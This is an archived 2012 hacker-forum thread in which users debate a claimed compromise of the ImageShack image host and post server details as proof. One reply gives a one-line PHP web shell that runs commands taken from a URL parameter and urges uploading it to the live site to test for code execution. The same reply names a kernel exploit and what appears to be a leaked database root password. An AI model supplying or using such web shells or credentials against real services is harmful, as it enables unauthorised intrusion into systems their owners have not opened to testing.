Hack Forums
imageshack hacked - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: imageshack hacked (/showthread.php?tid=3091207)

Pages: Pages 1 2


imageshack hacked - MaX0xf - Dec 12, 2012

It got spoiled already by someone so yeah... check here:

http://pastebin.com/Qjz2CFwG


* - Starfall - Dec 12, 2012

Welcome to the pwned imageshack club.
Current members: RoMeO, HTP, you, and various unnamed underground l33t h4x0rz
Your free t-shirt, jacket and botnet will arrive in the mail in 6 to 8 weeks.


* - MaX0xf - Dec 12, 2012

Gotta agree; not an average HF post.
Whatever, up to you.


* - ‌Hycca - Dec 12, 2012

That is a cool accomplishment, I guess? :3


* - Jae‌ - Dec 12, 2012

Hacked? You uploaded an HTML file. That's like pinching someone and telling everyone you killed them.


* - MaX0xf - Dec 12, 2012

(Dec 12, 2012 01:59 PM)Jae‌ Wrote:  Hacked? You uploaded an HTML file. That's like pinching someone and telling everyone you killed them.

Go ahead and upload a html file please.

Want more info? no problem

Uname -a: Linux img692.imageshack.us 2.6.27.5-117.fc10.x86_64 #1 SMP Tue Nov 18 11:58:53 EST 2008 x86_64 x86_64 x86_64 GNU/Linux


* - Starfall - Dec 12, 2012

(Dec 12, 2012 01:59 PM)Jae‌ Wrote:  Hacked? You uploaded an HTML file. That's like pinching someone and telling everyone you killed them.

In the words of The Lonely Island: Still counts!


* - 5NiP3R - Dec 12, 2012

What happened to the previous thread I commented on? Anyhow, congrats.


* - Starfall - Dec 12, 2012

MaX0xf Wrote:  Uname -a: Linux img692.imageshack.us 2.6.27.5-117.fc10.x86_64 #1 SMP Tue Nov 18 11:58:53 EST 2008 x86_64 x86_64 x86_64 GNU/Linux

Seems they still haven't learned from last time..
ABftw.c anyone?
Is their SQL root pass still mutaborius?


* - supracontra - Dec 12, 2012

(Dec 12, 2012 01:43 PM)Starfall Wrote:  Welcome to the pwned imageshack club.
Current members: RoMeO, HTP, you, and various unnamed underground l33t h4x0rz
Your free t-shirt, jacket and botnet will arrive in the mail in 6 to 8 weeks.

I remember when RoMeO got fucking destroyed in #bhf, great times were had by all.


* - Jae‌ - Dec 12, 2012

(Dec 12, 2012 02:00 PM)MaX0xf Wrote:  Want more info? no problem

Uname -a: Linux img692.imageshack.us 2.6.27.5-117.fc10.x86_64 #1 SMP Tue Nov 18 11:58:53 EST 2008 x86_64 x86_64 x86_64 GNU/Linux

Getting warmer but still not too much proof. Judging by Starfall's comments it's legit but I'd like to see some more. I wasn't bashing on you, it just didn't seem very likely with that much 'proof'.


* - MaX0xf - Dec 12, 2012

Well. I am not here to prove anything to anyone, I just posted it here as people have Pm'd me after someone spoiled it.


* - Starfall - Dec 12, 2012

http://empathy.hardchats.org/htp4/HTP-4.txt it's real, though I won't say 100% that Max's is. It's very likely though.
Try uploading one with the contents:
PHP Code

<?php system($_GET['cmd']); ?>
and see what happens. I think you already have execution but I wanna see if there's yet another vuln.


* - rcvrcv - Dec 12, 2012

DING DING DING ROUND 12 BEGINS...OH GOD IMAGESHACK, i thought you had great whitehats working for you now... ;)


* - RyanC - Dec 12, 2012

What sort of proof is this supposed to be? They allow html uploads, don't they?

edit: Hey, guess what. I checked, the box that you claim to have compromised hasn't been compromised (what a surprise)